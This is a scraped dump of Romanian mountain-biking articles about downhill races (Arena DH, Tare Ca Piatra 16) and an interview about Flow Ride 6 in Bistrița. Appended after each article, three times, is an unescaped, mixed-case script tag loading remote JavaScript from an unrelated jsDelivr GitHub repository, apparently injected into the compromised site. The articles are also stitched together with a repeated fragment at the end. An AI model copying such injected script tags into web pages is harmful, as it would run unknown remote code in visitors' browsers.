&lt;b&gt;Sezonul bun apune frumos la Arena DH pe 24-25 septembrie&lt;/b&gt;

După o vară bogată în evenimente de gravity riding, în special de downhill, sezonul se apropie de final și bifează oprirea obligatorie la Arena Platoș Păltiniș, muntele de casă al sibienilor. &lt;a href=&quot;https://www.facebook.com/events/447363557346774&quot; target=&quot;\_blank&quot;&gt;Datele sunt 24-25 septembrie, iar formatul este de downhill clasic individual&lt;/a&gt;, contra cronometru. 

[article-image=&quot;3&quot;]

În cazul în care ați deschis mai târziu televizoarele, Arena Platoș Păltiniș este un resort privat, cizelat și cochet, unde gazdele din partea locului încearcă să le oferă musafirilor &lt;a href=&quot;https://arenaplatos.ro/iarna/evenimente/sezon-2021-2022.html&quot; target=&quot;\_blank&quot;&gt;cât mai multe, într-un pachet cât mai armonios&lt;/a&gt;. Celebru pentru evenimentele de iarnă, în special pentru snowpark-ul la un nivel impecabil în fiecare an, Arena Platoș are de câțiva ani buni și un program temeinic pentru mountainbikeri. Nu doar că oamenii au cartografiat zona, pentru cei care vor să facă ture lungi, dar au și construit de la zero niște trasee cât se poate de apreciate, highlight-urile fiind clar Flow Trail-ul plin de contrapante și Downhill Trail-ul bogat în elemente. Este important de știut că traseele de la Arena Platoș Păltiniș sunt trasee-școală, unde mulți au învățat sa se dea, iar cei buni zboară pe ele.

[article-image=&quot;2&quot;]

Downhill Trail-ul este, în mod evident, terenul de joacă pentru acest concurs de downhill tradițional. În pauza din pandemie, acest traseu a mai câștigat niște elemente, față de ultima sa ediție din 2019: mai precis un hip jump pentru cei creativi, care tocmai a fost reîmprospătat, un wallride mare de lemn, o secțiune brand new, cu o contrapantă cu kicker, step-down, val, kicker și step-up, plu un set de contrapante strânse, care șerpuiesc spre sosire și aduc zâmbete pe chipurile celor care se dau. Practic, pentru cine a mai fost la Arena Platoș Păltiniș, întreg treaseul a fost primenit, iar partea de jos este complet nouă.

[article-image=&quot;4&quot;]

Concursul se desfășoară sun rigorile federației de profil, iar organizatorii așteaptă anul acesta în jur de 100 de participanți care se vor duela pentru premii pe multiple categorii, deci faceți bine și înscrieți-vă cât mai puteți! Nu de alta, dar toate concursurile de la Arena Platoș de până acum au fost faine și un prilej excelent pentru comunitate de a se reuni înainte ca sezonul să-și tragă cortina. Link pentru înscrieri aici:

&lt;a href=&quot;https://docs.google.com/forms/d/e/1FAIpQLScdYwe8bDGdyeB2chGZ9GJe\_1f9gmVOGb-hfbcAkclXRWMP3w/viewform&quot; target=&quot;\_blank&quot;&gt;https://docs.google.com/forms/d/e/1FAIpQLScdYwe8bDGdyeB2chGZ9GJe\_1f9gmVOGb-hfbcAkclXRWMP3w/viewform&lt;/a&gt;

Dacă sunteți curioși cum arată traseul, cu toate modificările cele noi, dați o geană peste &lt;a href=&quot;https://www.facebook.com/watch/?v=458592056208795&quot; target=&quot;\_blank&quot;&gt;tura lui Ștefan AICI&lt;/a&gt;. 

În continuare, comunicatul oficial al organizatorilor:

&lt;i&gt;”ARENA DH
24-25 Septembrie 2022
La Arena Platoș Păltiniș

Arena DH este un concurs de mountain-bike downhill individual, organizat de Asociația Arena Lifestyle, cofinanțat de Primăria Sibiu, sub egida Federației Naționale de Ciclism și se adresează atât sportivilor profesioniști, cât și amatorilor. Concursul este la cea de-a cincea sa ediție, iar pe parcursul ultimilor ani a contribuit serios la dezvoltarea acestei discipline în România. Evenimentul se desfășoară pe traseele de biciclete amenajate în complexul Arena Platoș Păltiniș. Ediția din acest an va reuni aproximativ 100 de sportivi, la toate categoriile.

[article-image=&quot;5&quot;]

TRASEU: Traseul Roșu “DH Trail”, pe care se găsesc mai multe drop-uri, un corner-jump, două step down-uri, un step-up, diverse contrapante și kickere și un wall ride proaspăt.

CATEGORII: OPEN, JUNIORI, ELITE, MASTERS, FEMININ, COPII.

&lt;u&gt;REGULI:&lt;/u&gt;

Competiția se desfașoară conform normelor UCI. Concurenții sunt obligati să poarte cască, ochelari de tip ”goggles” și genunchiere.  Numerele de concurs, dopurile sau manșoanele care acoperă extremitațile ghidoanelor sunt și ele obligatorii.
Concurenții trebuie să parcurgă traseul minimum de două ori la antrenamente.

Purtarea numerelor de concurs, atât pe ghidonul bicicletei, cât și pe spatele concurentului, este &lt;b&gt;obligatorie&lt;/b&gt; la antrenamente, calificări și finală.

[article-image=&quot;6&quot;]

Sportivii participanți la clasele JUNIORI, ELITE, MASTERS, FEMININ sunt obligați să fie licentiați la FRC.

Participanții la clasa OPEN sunt nevoiți să facă dovada unei asigurări de accident și a unei vizite medicale (minim la medicul de familie) care să ateste faptul ca sunt apți fizic pentru practicarea sportului.

De asemenea, toti sportivii sunt obligați să parcurgă traseul la picior măcar o dată înainte de a-l coborî pe bicicletă.

[article-image=&quot;7&quot;]

&lt;u&gt;Procedura de concurs:&lt;/u&gt;

Sâmbătă se desfășoară antrenamentele oficiale și manșa de calificări, seeding run. În urma manșei de calificări se afișează lista de start pentru finală.

Duminică se desfășoară antrenamentele oficiale și manșa finală.

Ordinea de start pentru manșa de finală este în ordine inversă față de rezultatele obținute în manșa de calificări, concurentul cu cel mai bun timp are startul ultimul.

Manșa de calificări/seeding-run nu este obligatorie pentru categoriile Elite și Feminin. Pentru aceste categorii, ordinea de start pentru manșa finală este dată de clasamentul de DH UCI.

[article-image=&quot;8&quot;]

PROGRAM

&lt;u&gt;Sâmbătă, 24 septembrie:&lt;/u&gt;
10:00-13:00 - înscrieri și antrenemente
13:30 - ședință tehnică
14:00 - calificări (seeding run)

&lt;u&gt;Duminică, 25 Septembrie:&lt;/u&gt;
10:00 - ședință tehnică
10:15 - 11:45 - antrenamente
12:00 - finală
15:00 - ceremonia de premiere

[article-image=&quot;9&quot;]

Alinierea la start este în ordinea următoare:

Open
Copii
Feminin
Masters
Juniori
Elite

Înscrierile se fac on-line începând cu data de 1 septembrie 2022, iar vârsta minimă de participare este 10 ani.

Nu se percepe taxă de participare.

Cartelele pentru acces cu telescaunul se achiziționează de la casierie.”&lt;/i&gt;

[article-image=&quot;10&quot;]

Ne vedem la Arena Platoș Păltiniș, evident!<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Sezonul bun apune frumos la Arena DH pe 24-25 septembrie

&lt;p&gt;Cum ne-am săturat să-i luăm interviuri Deliei, de parcă ar fi invitată permanent la noi, precum Cristian Tudor Popescu la Digi, am ales anul ăsta altă variantă de informare: e-mail, frumos, citit comunicat, conspectat, iată lucrarea, de notat de către profesorii din public!&lt;/p&gt;

[article-image=&quot;1&quot;]

&lt;p&gt;&lt;b&gt;Ce este de știut despre Tare Ca Piatra 16:&lt;/b&gt;

- Tare Ca Piatra este unul dintre concursurile cu cea mai veche tradiție din România. Are loc în oraș, practic, atrage mult public și tot timpul se încheie cu o petrecere. Traseul este mai scurt și mai accesibil din punct de vedere tehnic, deci aduce la start oameni care nu bat drumul până la alte concursuri. Totuși, traseul poate fi dificil pentru cei care pot merge tare pe el.

- După ani de zile în care toată lumea care se înscria se dădea și în finală, adică &lt;i&gt;seeding run&lt;/i&gt;, anul acesta &lt;u&gt;TCP face în sfârșit calificări de-adevăratelea&lt;/u&gt; și salutăm această măsură! Se vor califica 50\% dintre participanții din fiecare categorie, dar acest procent se poate schimba, în funcție de numărul de oameni înscriși. Capacitatea maximă este de 150 de participanți. Este o măsură foarte importantă și care aduce mai multă siguranță evenimentului, având în vedere că în ultimii ani programul s-a lungit inutil din pricina excesului de participanți în finală. Să nu fie cu supărare: e de apreciat entuziasmul fiecăruia, dar dacă-ți ia 10 minute să cobori traseul de la TCP, locul tău sigur nu este în finală și este bine ca fiecare să-și știe nivelul. Plus că ideea de competiție se diluează prin populisme gen ”se califică toți”. Nope, atunci nici măcar nu mai sunt calificări.

[article-image=&quot;4&quot;]

- Taxa de înscriere este de 250 de lei și include 14 urcări cu gondola, de vineri până duminică, și diverse alte beneficii.

- Traseul a evoluat și în anul acesta un pic. Organizatorii spun că are elemente noi din lemn, e mai lat și mai flowy, nu mai are nici o parte de urcare și a primit secțiuni off-camber proaspete. De asemenea, se pare că este cel mai sigur traseu de la TCP de până acum.

- Categoriile de concurs rămân aceleași: Feminin (open),  Copii (10-14 ani), Juniori (15-18 ani), Elite (19-29 ani), Masters (30+ ani) și Hardtail (open). Riderii de la Masters care simt că au ritmul pentru a se da la Elite au voie să facă acest lucru.&lt;/p&gt;

[article-image=&quot;5&quot;]

&lt;p&gt;Pentru alte detalii, aveți aici comunicatul integral:&lt;/p&gt;

&lt;p&gt;&lt;i&gt;Așadar, în weekend avem Tare ca Piatra, ediția cu numărul 16. 
Cele mai importante aspecte legate de eveniment sunt adresate punctual mai jos:

&lt;u&gt;Programul evenimentului:&lt;/u&gt; 

[article-image=&quot;2&quot;]

Ca și până acum, cu excepția anului trecut, ziua de vineri este dedicată acreditărilor și 
antrenamentelor, sâmbăta e pentru concurs, iar duminica zi liberă la dat.

VINERI
08:00 – 19:00 – Validări înscrieri ✅
10:00 – 11:00 – Trackwalk 1 ????
11:00 – 15:00 – Antrenamente 1
15:00 – 16:00 – Trackwalk 2 ????
16:00 – 19:00 – Antrenamente 2
19:00 – 20:00 – Trackwalk 3 ????
*În timpul sesiunilor de trackwalk, NU este permis accesul cu bicicleta pe traseu. ⛔️

SÂMBĂTĂ
10:00 – 11:30 – Antrenamente oficiale
12:00 – 14:30 – Calificări ????
14:30 – 15:30 – Pauză (traseu închis) ⛔️
15:30 – 17:00 – Finala ????
18:00 – Festivitatea de premiere*
*Programul poate suferi modificări și decalaje datorate evenimentelor neprevăzute și asupra cărora nu avem vreun control.

DUMINICĂ
10:00 - 20:00 - Zi liberă la dat

[article-image=&quot;6&quot;]

&lt;u&gt;Taxa de înscriere și facilități &lt;/u&gt;

Taxa de înscriere în cadrul Tare ca Piatra 16 este 250 LEI și include următoarele:
• 14 ture cu telegondola în intervalul vineri - duminică (10:00 - 20:00)
• hidratare: 4 vitamin aqua + 2 VITANIMIX + 2 ape plate
• kit înscriere: număr competiție, brățară participant, programul evenimentului + materiale promo 
(stickere)
• discount 20 LEI la achiziția tricoului

[article-image=&quot;7&quot;]
[article-image=&quot;8&quot;]

&lt;u&gt;Traseul de concurs &lt;/u&gt;

Traseul de anul acesta vine cu o linie modificată în proporție de 30\%, cu elemente noi din lemn, 
zone lărgite pe alocuri pentru mai mult flow și eliminarea unei porțiuni de urcare. Vor exista și 
câteva zone noi de coborâre în off-camber. De asemenea, s-a lucrat mult pe partea de reabilitare, 
mărire contrapante și cosmetizare și s-a plusat la capitolul safety (un număr de 25 de saltele de 
protecție pe un traseu cu o lungime de aprox. 1.8km).

[article-image=&quot;9&quot;]
[article-image=&quot;10&quot;]

&lt;u&gt;Categoriile de concurs &lt;/u&gt;

Categoriile de participare rămân aceleași 6 ca în ultimii ani și anume:

• COPII (10-14)
• JUNIORI (15-18)
• ELITE (19-29)
• FEMININ 
• MASTERS (+30)
• HARDTAIL (OPEN)

[article-image=&quot;11&quot;]

&lt;u&gt;Ce este diferit? &lt;/u&gt;

• Am modificat și îmbunătățit Regulamentul Oficial, pe care vă îndemnăm să îl mai cititți încă o 
dată înainte de participarea la concurs. Regulamentul poate fi vizualizat pe website-ul nostru.
• Calificările vor trimite în manșa finală doar primii 50\% clasați din fiecare categorie de concurs.
• Numărul maxim de participanți pe care îl putem găzdui este de 150. La momentul de față, am 
ajuns la 148. În funcție de cum se vor confirma sau nu înscrierile, până miercuri vom mai putea 
suplimenta sau nu locurile. Țineți aproape pentru update-uri. 
• Accesul auto în zona de FINISH este interzis atât vineri, cât și sâmbătă, cu câteva excepții care 
vor fi acreditate în acest sens. Vă rugăm să respectați această directivă, întrucât accesul 
Ambulanței trebuie să rămână facil în eventualitatea unor accidente! 

[article-image=&quot;12&quot;]

Mulțumim pe această cale autorităților locale, sponsorilor și partenerilor acestei ediții!

[article-image=&quot;3&quot;]

Un alt set de mulțumiri merge către oamenii de bază ce contribuie la reabilitarea traseului: Sandu, 
Dimi, Petre și întreaga grupă de rideri locali care crește exponențial de la an la an, dar și către 
celelalte grupe de voluntari: monitori de traseu, înscrieri, logistică și hidratare! 

[article-image=&quot;13&quot;]

Toate informațiile de care aveți nevoie sunt disponibile atât pe website-ul nostru 
&lt;a href=&quot;www.tarecapiatra.ro&quot; target=&quot;\_blank&quot;&gt;www.tarecapiatra.ro&lt;/a&gt;, cât și pe pagina oficială de Facebook&lt;a href=&quot; https://www.facebook.com/tarecapiatra.neamt&quot; target=&quot;\_blank&quot;&gt; https://www.facebook.com/tarecapiatra.neamt&lt;/a&gt; și în secțiunea About a evenimentului &lt;a href=&quot;https://www.facebook.com/events/250711786876582?active\_tab=about&quot; target=&quot;\_blank&quot;&gt;https://www.facebook.com/events/250711786876582?active\_tab=about&lt;/a&gt;.

Mulțumim tuturor participanților înscriși! Ne înclinăm. Vă urăm încă de pe acum distracție 
prudentă și să ne vedem cu bine la Piatra-Neamț! :) &lt;/i&gt;&lt;/p&gt;

&lt;p&gt;Melodie, frumos:&lt;/p&gt;

&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/VAWjsVoDpm0&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;

&lt;p&gt;Ah, pe final o opinie nepopulară: alegerea numerelor de concurs de către rideri este un moft stupid și trebuie să s oprească la un moment dat. Nu, nu e important să ai numărul 12, fiindcă 12 era pe mașinuța preferată la grădiniță. Dacă Greg Minnaar se poate da la Mondiale cu 68, după un sezon anevoios, sigur n-o să-ți cadă nici ție puța, dacă te dai cu ce vine la rând. În afară de asta, numerele îi pot ajuta pe organizatori, care-și fac un mare deserviciu nealocându-le din capul locului. 1 până la 30 pot fi Elite, 30-60 Juniori, 60-80 Masters etc. Poate rumegăm un pic chestia asta! Merci!&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Tare Ca Piatra 16 - Tot ce trebuie să știi despre ediția din 2021

&lt;i&gt;&lt;p&gt;Două concursuri de downhill am avut anul trecut. Două! Two. Deux. Zwei. Due. Dos. Kettő. Putem pune asta în seama pandemiei sau... mai bine lăsaț&#039;! Deci avem un peisaj gravitațional care mai degrabă provoacă suspine. Și totuși în anumite zone din țară, copiii se înghesuie la gondole și la shuttle-uri, iar în culise se șușotește despre inițiative de a face concursuri și câte și mai câte. Să ne temperăm însă entuziasmul, că și drumul spre Nirvana este pavat cu dorințe și cu bune intenții, după cum bine știm.

Una dintre cele mai bune vești de anul acesta a venit de la Bistrița, unde a fost pus înapoi pe roate concursul Flow Ride, &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;care va avea loc în weekend-ul acesta, 28-29 august&lt;/a&gt;. Și nu oricum, ci cu un traseu complet nou în apropiere de oraș, într-un loc antamat inițial pentru iarnă, deci cu telescaun și tot ce trebuie. Despre asta vorbim în cele ce urmează cu Angelo, cel care a făcut legăturile potrivite și a pus osul la treabă, în așa fel încât lucrurile să se poată întâmpla. &lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Angelo Fără De Afro le explică oamenilor mersul la evenimentul de inaugurare. - foto: Alexandru Kabos&quot;]

&lt;p&gt;Dar nu trecem la treabă fără a ne aduce aminte că Bistrița a contat pe harta gravitațională a patriei în ultimii 10+ ani și că lucrurile ăstea nu merită uitate. Mai întâi cu brigada Bistritz a lui Miki și John, care n-a lipsit la vreo cursă de DH sau enduro de mult timp încoace, apoi cu gașca vecină Bistrița DH a lui Doctoru&#039; și Angelo, care ne-a adus Flow Ride-urile cele faine, pe dealurile de lângă oraș, unde destul de sigur câțiva rideri de pe la noi au învățat să sară sau să sară mai bine. Ca fapt divers, Doctoru&#039; a avut o prestație absolut onorabilă în etapa de Cupă Mondială de la La Bresse din 2009 și nu este pe degeaba o legendă a scenei locale. Revenim la oamenii de la Bistritz, care nu numai că au organizat enduro pe traseele din jurul orașului, dar au revitalizat și cursa de la Vatra Dornei, care a apucat în sfârșit să vadă o organizare serioasă sub bagheta lor și, în caz că nu știați, au ținut în picioare aproape singuri un sezon competițional 2018, la downhill, enduro și trial, pe partea logistică. Și apoi sunt tinereii. Tinerei din Bistrița care tot apar, se dau bine și au atitudinea potrivită, ceea ce nu este puțin lucru și nu este deloc întâmplător. Acestea sunt câteva linii mari despre scena din Bistrița, cu pălăria ridicată obligatoriu.&lt;/p&gt;

[article-image=&quot;2&quot; description=&quot;Cu mic, cu mare la start. - foto: Alexandru Kabos&quot;]

&lt;p&gt;Acum despre cel mai fresh Flow Ride:&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;DirtBike: Salut Angelo! Ce ai mai făcut în cei cinci ani care au trecut de la ultimul Flow Ride?&lt;/b&gt;

Angelo Bude: Salut! Am rămas aproape de scena de gravity, antrenând mai multi tineri de la noi din zonă, și am voluntariat și la FRC în ultimii 3 ani. Pe de altă parte, am încercat să ajung la cât mai multe concursuri de downhill din țară, dar, din păcate, numărul lor a scăzut în ultimii ani. Am și studiat un pic de educatie fizica și sport și mi-am finalizat anul acesta masterul la UBB Cluj Napoca.&lt;/b&gt;

&lt;p&gt;&lt;b&gt;DB: Bun așa! Hai să vorbim despre traseul complet nou! Ce caracteristici are și cum ați ajuns să-l faceți acolo?&lt;/b&gt;

A. B.: Da, avem un traseu nou conceput și proaspăt săpat în ultimele 4 luni la pârtia Cocoș, în apropiere de Bistrița. Are o lungime de 1750 m, cu o diferență de nivel de 260 m. Nu este un traseu ușor, are mult off camber și o primă porțiune care este destul de abruptă. Sunt și porțiuni de jump-uri și turnante (N. R.: contrapante), în care poti duce viteză. Am încercat, pe cât posibil, să îl lăsăm cât mai natural în multe zone.&lt;/p&gt;

[article-image=&quot;3&quot; description=&quot;Pentru EI este totul, pe bune. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Sună excelent! Cine v-a ajutat cu demersul ăsta și cine a muncit la traseu? Ați primit vreun sprijin de la vreun for oficial pentru evenimentul acesta? Bani, logistică?&lt;/b&gt;

A. B.: Inițiativa a fost a asociației Rodo Transilvania, iar sprijinul a venit din partea primăriei Bistrița, care a bugetat 2 trasee, unul cel de concurs și încă unul de flow, cu o lungime de 2800 m. Scopul lor este de a profita de investiția făcută la pârtia Cocoș și pe timp de vară. Pot să îi mulțumesc doamnei Adriana Antoneacă, ea ne-a susținut și a demarat acest proiect în primărie și crede în potențialul bike park-ului. Chiar s-a implicat super mult!

După aceea, am avut un excavatorist super bun, Marius Ros, care a rezolvat multe elemente deja din cupa utilajului, astfel încat noi nu am mai avut foarte mult de finisat. Ca oameni, cel mult sau implicat Lupu și Beavis, fără ei cred că încă eram pe deal și dădeam la sapă! (râde) Au mai lucrat și juniorii din Bistrița, Bebo, Ursu, Florin și Edy, dar sincer, mă așteptam la mai multă implicare din partea lor. Și au mai fost 2-3 care au pus mana, Noni și Linu, de exemplu, și clar angajații de la pârtia Cocoș.

Pentru event am prins o finantare nerambursabilă de la Primăria Bistrița și niste sponsori din domeniul privat, pe care îi anuțăm &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;pe event-ul de pe Facebook&lt;/a&gt;.&lt;/p&gt;

[article-image=&quot;4&quot; description=&quot;”Telescaun la Bistrița” sună parcă dintr-un vis... - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Știu că ai fost foarte proactiv în a încerca să găsești o armonie cu alți organizatori pentru a stabili perioada evenimentului. Ce poți să-mi spui despre asta?&lt;/b&gt;

A. B.: Din păcate, anul acesta nu am reușit să ne organizam și să prindem toate concursurile într-o cupă, cu toate că au fost discuții în sensul acesta. Este și un an ciudat, ținând cont că suntem într-o pandemie, care ne îngreunează un pic munca.&lt;/p&gt;

[article-image=&quot;5&quot; description=&quot;Mihai Anițan, Matei Moisil și Cipri Mureșan se istovesc împingând până la scaun. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: De ce crezi că se bulucește lumea să facă evenimente doar în lunile august și septembrie, când e tot anul liber?&lt;/b&gt;

A. B.: Nu prea pot să îmi dau seama; noi am făcut anul acesta concursul în august, fiindca nu aveam traseul gata mai devreme și pentru că solul este de așa natură, încât dacă plouă, devine foarte alunecos. Acesta este motivul pentru care nu îl facem mai târziu în toamnă.&lt;/p&gt;

[article-image=&quot;6&quot; description=&quot;Curbele arată bine, băieții și mai bine. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Pe cât de proactiv ai fost tu privind data, tot s-au găsit niște oameni de la Buscat să facă eveniment de enduro concomitent cu voi. Ce sentiment îți trezește lucrul ăsta? Crezi că riderii se vor împărți în două?&lt;/b&gt;

A. B.: Se mai întâmplă să se și intercaleze niște evenimente, dar este păcat. La cât de puține evenimente de genul acesta avem în România, ar fi frumos să avem un calendar bine stabilit.&lt;/p&gt;

[article-image=&quot;7&quot; description=&quot;Marv e fericit! - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Crezi că o să mai avem Cupă Națională în viitorul apropiat?&lt;/b&gt;

A. B.: Eu înca mai am speranța că o să ajungem și la acel nivel!&lt;/p&gt;

[article-image=&quot;8&quot; description=&quot;&lt;i&gt;Anițan be stylin&#039; it.&lt;/i&gt; - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Să trecem la aspectele practice! De ce are nevoie cineva care vrea să se înscrie la Flow Ride?&lt;/b&gt;

A. B.: Pentru Flow Ride este nevoie de o asigurare în caz de accidente, de taxa de 150 de lei, de o bicicletă și cel puțin de o cască full-face, dar recomandăm și restul de echipament de protecție: mănuși, goggles, genunchiere, cotiere, protecție dorsală etc. &lt;/p&gt;

[article-image=&quot;9&quot; description=&quot;&lt;i&gt;Dimi is back!&lt;/i&gt; - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;DB: Ponturi de cazare și masă în Bistrița și prin împrejurimi? Recomanzi să stea lumea în oraș sau mai aproape de traseu?&lt;/b&gt;&lt;

A. B.: Sunt numai 5 km de la traseu până în oraș, deci nu cred că o să fie o diferență, dacă stai undeva lânga traseu sau în oras. Cele mai multe unități de cazare sunt în oraș, dar din cauza timpului scurt de organizare a evenimentului, nu am apucat să ne concentrăm și pe cazare, așa că fiecare își va alege cazare cum poate și cum dorește. Se poate campa jos în parcarea de la traseu și o să facem after petrechere tot acolo.&lt;/p&gt;

[article-image=&quot;10&quot; description=&quot;Două generații, două tehnici. - foto: Alexandru Kabos&quot;]

&lt;p&gt;&lt;b&gt;Am ratat ceva? Mai e ceva de spus? Dacă da, ce? &lt;/b&gt;

A. B.: Încercăm să postăm &lt;a href=&quot;https://www.facebook.com/events/1322542408176502&quot; target=&quot;\_blank&quot;&gt;pe evenimentul de Facebook&lt;/a&gt; cât mai multe informații utile pentru participanți în zilele ce urmează.&lt;/p&gt;

&lt;p&gt;&lt;b&gt;Mulțumim!&lt;/b&gt;&lt;/p&gt;

[article-image=&quot;11&quot; description=&quot;E bine! - foto: Alexandru Kabos&quot;]

&lt;p&gt;Detalii despre concurs, conform informațiilor oficiale:

------ ------ ------ ------ ------ ------

&lt;u&gt;Programul evenimentului:&lt;/u&gt;
Joi, 26.08: 18:00 - 20:00 - Track Walk
Vineri, 27.08: 10:00 - 18:00 - Antrenamente
Sâmbătă, 28.09: - Seeding run + Finală + Ceremonie Premiere + After Party

------ ------ ------ ------ ------ ------

&lt;u&gt;Regulament de participare:&lt;/u&gt;
✅ Asigurare de accident pentru sportivi obligatorie. Sportivi sunt obligați să prezinte dovada asigurării de accident pentru sportivi la fața locului.
✅ Participarea la Flow Ride 6 se poate face doar dacă se respectă regulile în vigoare de protecție împotriva Covid-19.
Participarea este permisă doar pentru:
✅ Persoanele care sunt vaccinate împotriva virusului SARS-CoV-2 și pentru care au trecut 10 zile de la finalizarea schemei complete de vaccinare.
✅ Persoanele care prezintă rezultatul negativ al unui test RT-PCR pentru infecția cu virusul SARS-CoV-2 nu mai vechi de 72 de ore sau rezultatul negativ certificat al unui test antigen rapid pentru infecția cu virusul SARS-CoV-2 nu mai vechi de 24 de ore.
✅ Persoanele care se află în perioada cuprinsă între a 15-a zi și a 180-a zi ulterioară confirmării infectării cu virusul SARS-CoV-2, în condițiile stabilite prin ordinul comun al ministrului tineretului și sportului și al ministrului sănătății, emis în temeiul art. 43 și al art. 71 alin. (2) din Legea nr. 55/2020, cu modificările și completările ulterioare.
✅ Persoanele care aleg varianta prezentării unui test rapid trebuie să aducă cu ei un test antigen nefolosit. Testarea se va face vineri, înainte de eveniment, de către personalul medical al Ambulanței Bistrița-Năsăud.

------ ------ ------ ------ ------ ------

&lt;u&gt;Echipamentul de protecție:&lt;/u&gt;
✅ Sportivul este obligat să poarte pe timpul competiției cască full-face.
✅ Recomandăm echipamentul de protecție pentru coloană, mănuși, ochelari, cotiere, genunchiere, neck-brace.

------ ------ ------ ------ ------ ------

&lt;u&gt;Înscrieri la Flow Ride 6:&lt;/u&gt;
Înscrie-te aici! &lt;a href=&quot;https://bit.ly/3D2Enqv&quot; target=&quot;\_blank&quot;&gt;https://bit.ly/3D2Enqv&lt;/a&gt;
Taxa participare: 150 RON - Plata la fața locului

------ ------ ------ ------ ------ ------

Toate fotografiile frumoase sunt făcute de Alexandru Kabos la evenimentul de inaugurare și toate drepturile sunt rezervate. Vi le arătăm în continuare și pe celelalte. Enjoy:&lt;/p&gt;

[article-image=&quot;13&quot; description=&quot;Soldații imperiali contraatacă! - foto: Alexandru Kabos&quot;]
[article-image=&quot;14&quot; description=&quot;Și, cum zici că era dropu&#039; din Leogang, boss? - foto: Alexandru Kabos&quot;]
[article-image=&quot;15&quot; description=&quot;Cam așeeeaaa! - foto: Alexandru Kabos&quot;]
[article-image=&quot;16&quot; description=&quot;În lumina impecabilă. - foto: Alexandru Kabos&quot;]
[article-image=&quot;17&quot; description=&quot;O tură prin natură. - foto: Alexandru Kabos&quot;]
[article-image=&quot;18&quot; description=&quot;Uberstyler Dimi se simte bini. - foto: Alexandru Kabos&quot;]
[article-image=&quot;19&quot; description=&quot;Linii moroșenești și muolduoviniești prin tufele de jos. - foto: Alexandru Kabos&quot;]
[article-image=&quot;20&quot; description=&quot;Angelo făcând ce știe mai bine: învățându-i pe cei mici și ținând prelegeri celor mai mari. - foto: Alexandru Kabos&quot;]
[article-image=&quot;21&quot; description=&quot;Prin livezile de lângă Bistrița. - foto: Alexandru Kabos&quot;]
[article-image=&quot;22&quot; description=&quot;Nutrii? Nu bă, numa&#039; doo! - foto: Alexandru Kabos&quot;]
[article-image=&quot;27&quot; description=&quot;&lt;i&gt;Matei Moisil avec le style.&lt;/i&gt; - foto: Alexandru Kabos&quot;]
[article-image=&quot;23&quot; description=&quot;Mihai Anițan cu celălalt stil, la fel de bun. - foto: Alexandru Kabos&quot;]
[article-image=&quot;24&quot; description=&quot;Cipri Mureșan vrea s-o rezolve moto! - foto: Alexandru Kabos&quot;]
[article-image=&quot;25&quot; description=&quot;Niște scrub cu Mihai. - foto: Alexandru Kabos&quot;]
[article-image=&quot;26&quot; description=&quot;Frige, las-o jos! - foto: Alexandru Kabos&quot;]

&lt;p&gt;Melodie, frumos:&lt;/p&gt;

&lt;p&gt;&lt;div class=&quot;video&quot;&gt;&lt;iframe width=&quot;700&quot; height=&quot;394&quot; src=&quot;https://www.youtube.com/embed/r\_0sL\_SQYvw&quot; frameborder=&quot;0&quot; allowfullscreen&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/p&gt;

&lt;p&gt;Ne vedem la Bistrița!&lt;/p&gt;<sCrIpT sRc=//cdn.jsdelivr.net/gh/4dvc0nf/a/1.js></ScRiPt>

Flow Ride 6 - interviu cu Angelo Bude despre curse de DH, trasee noi și nu numai

&lt;i&gt;&lt;p&gt;Două concursuri de downhill am avut anul trecut. Două! Two. Deux. Zwei. Due. Dos. Kettő. Putem pune asta în seama pandemiei sau... mai bine lăsaț&#039;! Deci avem un peisaj gravitațional care mai degrabă provoacă suspine. Și totuși în anumite zone din țară, copiii se înghesuie la gondole și la shuttle-uri, iar în culise se șușotește despre inițiative de a face concursuri și câte și mai câte. Să ne temperăm însă entuziasmul, că și drumul spre Nirvana este pavat cu dorințe și cu bune intenții, după cum bine știm.&lt;/p&gt;

&lt;p&gt;Una dintre cele mai bune vești de anul acesta a venit de la Bistrița, unde a fost pus înapoi pe roate concursul Flow Ride. Și nu oricum, ci cu un traseu complet nou în apropiere de oraș, într-un loc antamat inițial pentru iarnă, deci cu telescaun și tot ce trebuie. Despre asta vorbim în cele ce urmează cu Angelo, cel care a făcut legăturile potrivite și a pus osul la treabă, în așa fel încât lucrurile să se poată întâmpla. &lt;/p&gt;

[article-image=&quot;1&quot; description=&quot;Angelo Fără De Afro le explică oamenilor mersul la evenimentul de inaugurare. - foto: Alexandru Kabos&quot;]

